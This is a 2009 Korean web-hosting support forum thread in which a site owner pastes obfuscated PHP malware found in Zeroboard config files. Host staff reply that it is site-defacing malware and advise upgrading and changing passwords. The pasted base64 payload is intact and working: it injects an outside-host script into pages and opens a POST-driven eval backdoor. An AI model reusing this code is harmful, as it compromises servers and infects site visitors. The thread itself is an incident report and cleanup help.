beomy      2009/11/17 23:49:45     3916   
   악성 코드 관련 [1]
해킹관련입니다. 제로보드 파일 중에서 config.php 및 dbconn.php3, 등등의 파일에 아래와 같은 코드가 있었습니다.
우선 지우기는 했는데 무슨 내용인지 알 수 있을까요?

<물음표 php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnajFsMScpKXtmdW5jdGlvbiBqMWwxKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDIxcGJHbDBZWEo1YzJodmNDNWpieTV5Y3k5cGJXRm5aWE12YjJSbFkyRXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gajFsMTIoJGEsJGIsJGMsJGQpe2dsb2JhbCRqMWwxMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkajFsMTEpKWNhbGxfdXNlcl9mdW5jKCRqMWwxMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0najFsMScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2oxbDEnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kajFsMWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2oxbDEyJykpIT0najFsMTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); 물음표>

html 파일에 들어있던 <스크립트 milltary뭐뭐 ... /스크립트> 들도 다 지웠는데
처음 홈페이지 접속하면 10초 정도 게시판 화면이 나오지 않고 멈춰 있습니다.

어떻게 하면 될까요?

ftp, telnet (ssh, 계정암호), db 접속 모두 바꿨습니다.

김기범
writer ip : 121.146.195.196    


115.140.123.130
2009/11/18 10:36:18 		해당 코드를 디코딩한 결과 몇가지  php 함수를 정의한 코드입니다.
사이트를 변조시켜 외부 스크립트를 실행하여 바이러스 등을 유포하도록 만들어진 코드입니다.
아마도 고객님 사이트가 해킹당하신것 같습니다.

제로보드등을 사용하신다면 최신버젼으로 업그레이드 해주시고 비밀번호를 변경해 주셔야 합니다.
특히, 비번 변경시 계정비번과 DB비번을 다르게 설정해 주시길 권장해 드립니다.

지금 접속해본 결과 별다른 딜레이 없이 접속되고 있습니다.
문제가 되는 소스코드를 모두 삭제하신것 같습니다.

기타 문의사항이 있으시면 이곳에 다시 문의해 주시기 바랍니다.
감사합니다.

      

       

23804 결제를 하려고하는데 플러그인 설치를 계속 실패... [3] Usachan 12/01 0
23803 db접속정보 [1] 현지니 11/28 0
23802 음악 플레이어가 작동이 안되네요. [1] 현지니 11/27 0
23801 호스팅을 탈퇴하려 합니다. [1] 11/27 4632
23800 데이타 베이스 절대경로 까묵었읍니다. ㅠㅠ [4] 한누리 11/26 4378
23799 해킹을 당한것 같습니다 [1] 얼라이브맵 11/26 4235
23798 홈페이지가 굉장히 느려요 [1] 맥킨리 11/23 4626
23797 계정용량이 표시되지 않아요 [1] 블루버스 11/23 0
23796 htaccess 관련 [1] 헬캣 11/22 0
23795 접속이 안됩니다. [1] 엄정찬 11/21 4035
23794 저도 홈페이지가 해킹당한 것 같아요 ㅠㅠ [1] 亂舞 11/21 5003
23793 해킹을 당한것 같습니다. index.html이 이상하게... [1] 지오이드 11/20 4431
23792 또질문이요; [1] 김현례 11/20 3968
23791 디렉토리 [3] 김현례 11/19 3797
>> 악성 코드 관련 [1] beomy 11/17 3916
FIRST334041424344454653LAST
  
컴퓨즈닷컴(대표 장정주) 인천광역시 동구 방축로83번길 23, 24동 333호
사업자등록번호 137-05-83351, 통신판매 인천 동구 03-78호, 개인정보책임자 장정주